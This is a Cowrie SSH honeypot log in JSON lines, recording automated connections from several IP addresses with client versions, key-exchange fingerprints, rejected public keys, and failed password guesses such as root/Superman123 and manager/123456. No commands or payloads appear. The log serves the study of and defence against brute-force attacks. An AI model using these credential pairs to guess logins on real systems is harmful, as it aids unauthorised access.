{"eventid":"cowrie.login.failed","username":"customer","password":"customer","message":"login attempt [customer/customer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:27:55.708795Z","src_ip":"103.75.199.4","session":"4d095d97ab8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:27:56.806875Z","src_ip":"103.75.199.4","session":"4d095d97ab8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.40.37.143","src_port":47972,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c6cc569f000","protocol":"ssh","message":"New connection: 78.40.37.143:47972 (10.17.0.5:22) [session: 6c6cc569f000]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:28:14.790955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:28:14.796311Z","src_ip":"78.40.37.143","session":"6c6cc569f000","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:28:14.887294Z","src_ip":"78.40.37.143","session":"6c6cc569f000","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Superman123","message":"login attempt [root/Superman123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:28:15.237954Z","src_ip":"78.40.37.143","session":"6c6cc569f000","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:28:16.320919Z","src_ip":"78.40.37.143","session":"6c6cc569f000","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"208.87.243.43","src_port":60110,"dst_ip":"10.17.0.5","dst_port":22,"session":"cbe0152d572a","protocol":"ssh","message":"New connection: 208.87.243.43:60110 (10.17.0.5:22) [session: cbe0152d572a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:28:16.839066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:28:16.845562Z","src_ip":"208.87.243.43","session":"cbe0152d572a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:28:16.916766Z","src_ip":"208.87.243.43","session":"cbe0152d572a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":57864,"dst_ip":"159.203.135.109","dst_port":22,"session":"495773bca649","protocol":"ssh","message":"New connection: 103.75.199.4:57864 (159.203.135.109:22) [session: 495773bca649]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:28:17.103287Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:28:17.108116Z","src_ip":"103.75.199.4","session":"495773bca649","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:28:17.199973Z","src_ip":"103.75.199.4","session":"495773bca649","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"34:b6:c7:c8:fe:c5:c2:fa:41:98:f8:8b:ca:e0:72:96","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDG4Iw99aEClck8UPYFABG2kxl0EK/qHF7YYSsR2WV3f2ESM9G/F4BClPNskmVM6rCRWCM8AiLNUmB48ShSeuLm8jYf1cFEJXAXG81DdPKFAt83hRXIoGrhgFIO/VTpTdj0N89YU0sD3CxlWO2tD/bil2E8r5Nf1XSJ3NHH0V4ADyiN7jB2WyYUA/tfAfxEppxL4EJLQivsl71gYsXHa0GPHoe9gNO0VwGxMOxDFfUj2tEkgt/hnBo5W/rUY9UoB8bLIRkteRTnTXf65nZ2Ca939jJ3vefR5Q/LY0a90rzrCwd58WE5yYnWP0TMKvl2nIoO1/Ehv+QpWTKc5neQ7MLv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 34:b6:c7:c8:fe:c5:c2:fa:41:98:f8:8b:ca:e0:72:96","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:28:17.242081Z","src_ip":"208.87.243.43","session":"cbe0152d572a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"34:b6:c7:c8:fe:c5:c2:fa:41:98:f8:8b:ca:e0:72:96","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDG4Iw99aEClck8UPYFABG2kxl0EK/qHF7YYSsR2WV3f2ESM9G/F4BClPNskmVM6rCRWCM8AiLNUmB48ShSeuLm8jYf1cFEJXAXG81DdPKFAt83hRXIoGrhgFIO/VTpTdj0N89YU0sD3CxlWO2tD/bil2E8r5Nf1XSJ3NHH0V4ADyiN7jB2WyYUA/tfAfxEppxL4EJLQivsl71gYsXHa0GPHoe9gNO0VwGxMOxDFfUj2tEkgt/hnBo5W/rUY9UoB8bLIRkteRTnTXf65nZ2Ca939jJ3vefR5Q/LY0a90rzrCwd58WE5yYnWP0TMKvl2nIoO1/Ehv+QpWTKc5neQ7MLv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:28:17.247313Z","src_ip":"208.87.243.43","session":"cbe0152d572a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b7:31:a7:c6:06:2e:dd:e8:a9:3c:bb:d7:1a:cb:94:5b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGDHhi4n1qnByMZWP8Xsx982klpR3AxuPlHi8MKxizYqoOMrzq1s8eM1qh4jSlUsCfmdDxBZL+6O3btmv69d7HEQZD0o78T1ck6khXMaNKk38yIGIIG6LvsPRAJ8DbAaHuInWhmUgCTrWmP3SLDm73+6Ceu4WG4X9w6J/EyK/bcoQ8TtpE4muiF73w4CitorZwbq3MIAwbU1Htz9hYHqX/+XeYO7hFQvVLN71VZf6I+W1Nm0ZXgROUuBjYPJ2YbEGu6NFZoXQ9ZiI7USQ5wrGgj2azh84y1eSvEW7RGA95pS8BkYYmwNSPM22cxRhqu5hELqnLx6+U/4Rwwz6MGozF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b7:31:a7:c6:06:2e:dd:e8:a9:3c:bb:d7:1a:cb:94:5b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:28:17.315985Z","src_ip":"208.87.243.43","session":"cbe0152d572a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b7:31:a7:c6:06:2e:dd:e8:a9:3c:bb:d7:1a:cb:94:5b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGDHhi4n1qnByMZWP8Xsx982klpR3AxuPlHi8MKxizYqoOMrzq1s8eM1qh4jSlUsCfmdDxBZL+6O3btmv69d7HEQZD0o78T1ck6khXMaNKk38yIGIIG6LvsPRAJ8DbAaHuInWhmUgCTrWmP3SLDm73+6Ceu4WG4X9w6J/EyK/bcoQ8TtpE4muiF73w4CitorZwbq3MIAwbU1Htz9hYHqX/+XeYO7hFQvVLN71VZf6I+W1Nm0ZXgROUuBjYPJ2YbEGu6NFZoXQ9ZiI7USQ5wrGgj2azh84y1eSvEW7RGA95pS8BkYYmwNSPM22cxRhqu5hELqnLx6+U/4Rwwz6MGozF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:28:17.319044Z","src_ip":"208.87.243.43","session":"cbe0152d572a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"78:0b:24:6e:01:af:9d:22:d3:85:e2:75:2a:4b:65:06","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA13t6j/HmadoquraWjv1j6cb7Ep2tIIC9ld/cXlbAhgIvA/TG5zgNxo4m11RO2WUnx2L8Nv6RgjB/dQgKmk2YTjvGMi/JjVX8rHnBYrhz+WKW9aaM+M1T+C0RkzlK96ftLybBtFd2z/2ePs1DwDtNDGm6hDtFsEjWI2vdriHZ5HoX74N+ccjuaZ1nG0hiqZzv4BneWptrrKeJ1RK2VhOWuDK4occYmXvZiglivFT8jUOP97kCy/i3n0Vsf9ZPf8PUehtW/P4yP4umzj9AtBa8Ws2/KTPFQtiX1ODAGPfwkp3YQ+OobzCI1c9x1SGrtecUlq6SRxm1Yo7mCz+pC9FXaw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 78:0b:24:6e:01:af:9d:22:d3:85:e2:75:2a:4b:65:06","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:28:17.387176Z","src_ip":"208.87.243.43","session":"cbe0152d572a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"78:0b:24:6e:01:af:9d:22:d3:85:e2:75:2a:4b:65:06","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA13t6j/HmadoquraWjv1j6cb7Ep2tIIC9ld/cXlbAhgIvA/TG5zgNxo4m11RO2WUnx2L8Nv6RgjB/dQgKmk2YTjvGMi/JjVX8rHnBYrhz+WKW9aaM+M1T+C0RkzlK96ftLybBtFd2z/2ePs1DwDtNDGm6hDtFsEjWI2vdriHZ5HoX74N+ccjuaZ1nG0hiqZzv4BneWptrrKeJ1RK2VhOWuDK4occYmXvZiglivFT8jUOP97kCy/i3n0Vsf9ZPf8PUehtW/P4yP4umzj9AtBa8Ws2/KTPFQtiX1ODAGPfwkp3YQ+OobzCI1c9x1SGrtecUlq6SRxm1Yo7mCz+pC9FXaw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:28:17.391355Z","src_ip":"208.87.243.43","session":"cbe0152d572a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0b:f2:b4:83:a2:25:fa:0d:86:22:b7:78:81:ef:52:db","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP+fJhMR99Q3PWMSG2lL8o3WijjOkBLmFQRjYaB7zLxx","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 0b:f2:b4:83:a2:25:fa:0d:86:22:b7:78:81:ef:52:db","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:28:17.460844Z","src_ip":"208.87.243.43","session":"cbe0152d572a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0b:f2:b4:83:a2:25:fa:0d:86:22:b7:78:81:ef:52:db","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP+fJhMR99Q3PWMSG2lL8o3WijjOkBLmFQRjYaB7zLxx","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:28:17.464821Z","src_ip":"208.87.243.43","session":"cbe0152d572a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe","message":"login attempt [frappe/frappe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:28:17.474443Z","src_ip":"103.75.199.4","session":"495773bca649","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3d:bb:91:df:99:03:cb:d6:e2:50:53:15:64:09:49:f8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCft75QvXMuPNUjDduTlvPqGaaGMLmSoDosWzxgFAgJiAoPgx4pRWGstUkMWXmq49WYOYr9xxHWKRfb+VbVVZOEzF3TfcaWLvHPFQ1/L5y3lkNCBp7vHztQGSQY9uBF8KjKdArhkVbDnxjAiw9xykXgvbdcrVrLzwMdBd7VPNX0M42m+vg0Jom62Ogy47JaDXv7Udx4u2IZiz2OthgOBTNl2H6YeXHuff8h9Uv+g1tEB4lGVMxIn7TLbswTfemU6gtPqIfTgtYPvLjfnaGvy0Sof+zGLIYwETj0APjboQ80Z47QgqrwIBQrh0Y0KapzPMmsG7MacCiXlWomyuuxvI0tzeJ/DYlzf2uBFF0bZwD9pDC2yw8SjH/JHQl1QjmY3UgzTgn5n8kw0GfYhYz8Me/b0jNfcqoYrCkWOJIOaRG2RSF6/8ag8UB32IeqK+MBttAuanTtZYifqOwBHkmI/1aKml3mxlw3dZNjJ2scV9lr4C2raPTqmAfGiOq1thGxat15MKGeBjgQ4cFzi7+JfvKvguV+Y78TJUtIN1JntWDtRsf10n+OuHqQ4p4Nyjir6uFc3yU0AAhyHpBX7q0AwZjiPf5OpXmXddhNnkVsecSKzLf9YqnK8wFCCparhPIMAzDj3DYDOJ8z56pCkr8lVfAZ7jnAdUSZIPA4tYK11c0X0w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3d:bb:91:df:99:03:cb:d6:e2:50:53:15:64:09:49:f8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:28:17.534110Z","src_ip":"208.87.243.43","session":"cbe0152d572a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3d:bb:91:df:99:03:cb:d6:e2:50:53:15:64:09:49:f8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCft75QvXMuPNUjDduTlvPqGaaGMLmSoDosWzxgFAgJiAoPgx4pRWGstUkMWXmq49WYOYr9xxHWKRfb+VbVVZOEzF3TfcaWLvHPFQ1/L5y3lkNCBp7vHztQGSQY9uBF8KjKdArhkVbDnxjAiw9xykXgvbdcrVrLzwMdBd7VPNX0M42m+vg0Jom62Ogy47JaDXv7Udx4u2IZiz2OthgOBTNl2H6YeXHuff8h9Uv+g1tEB4lGVMxIn7TLbswTfemU6gtPqIfTgtYPvLjfnaGvy0Sof+zGLIYwETj0APjboQ80Z47QgqrwIBQrh0Y0KapzPMmsG7MacCiXlWomyuuxvI0tzeJ/DYlzf2uBFF0bZwD9pDC2yw8SjH/JHQl1QjmY3UgzTgn5n8kw0GfYhYz8Me/b0jNfcqoYrCkWOJIOaRG2RSF6/8ag8UB32IeqK+MBttAuanTtZYifqOwBHkmI/1aKml3mxlw3dZNjJ2scV9lr4C2raPTqmAfGiOq1thGxat15MKGeBjgQ4cFzi7+JfvKvguV+Y78TJUtIN1JntWDtRsf10n+OuHqQ4p4Nyjir6uFc3yU0AAhyHpBX7q0AwZjiPf5OpXmXddhNnkVsecSKzLf9YqnK8wFCCparhPIMAzDj3DYDOJ8z56pCkr8lVfAZ7jnAdUSZIPA4tYK11c0X0w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:28:17.540645Z","src_ip":"208.87.243.43","session":"cbe0152d572a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:28:17.610113Z","src_ip":"208.87.243.43","session":"cbe0152d572a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:28:18.568529Z","src_ip":"103.75.199.4","session":"495773bca649","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.154.34.232","src_port":43384,"dst_ip":"10.17.0.5","dst_port":22,"session":"6dbb97734ce1","protocol":"ssh","message":"New connection: 94.154.34.232:43384 (10.17.0.5:22) [session: 6dbb97734ce1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:28:25.765289Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:28:25.770352Z","src_ip":"94.154.34.232","session":"6dbb97734ce1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:28:25.901895Z","src_ip":"94.154.34.232","session":"6dbb97734ce1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"manager","password":"123456","message":"login attempt [manager/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:28:26.449672Z","src_ip":"94.154.34.232","session":"6dbb97734ce1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:28:27.583134Z","src_ip":"94.154.34.232","session":"6dbb97734ce1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":44206,"dst_ip":"159.203.135.109","dst_port":22,"session":"adb939e34368","protocol":"ssh","message":"New connection: 103.75.199.4:44206 (159.203.135.109:22) [session: adb939e34368]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:28:39.027274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:28:39.031538Z","src_ip":"103.75.199.4","session":"adb939e34368","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:28:39.126202Z","src_ip":"103.75.199.4","session":"adb939e34368","protocol":"ssh"}
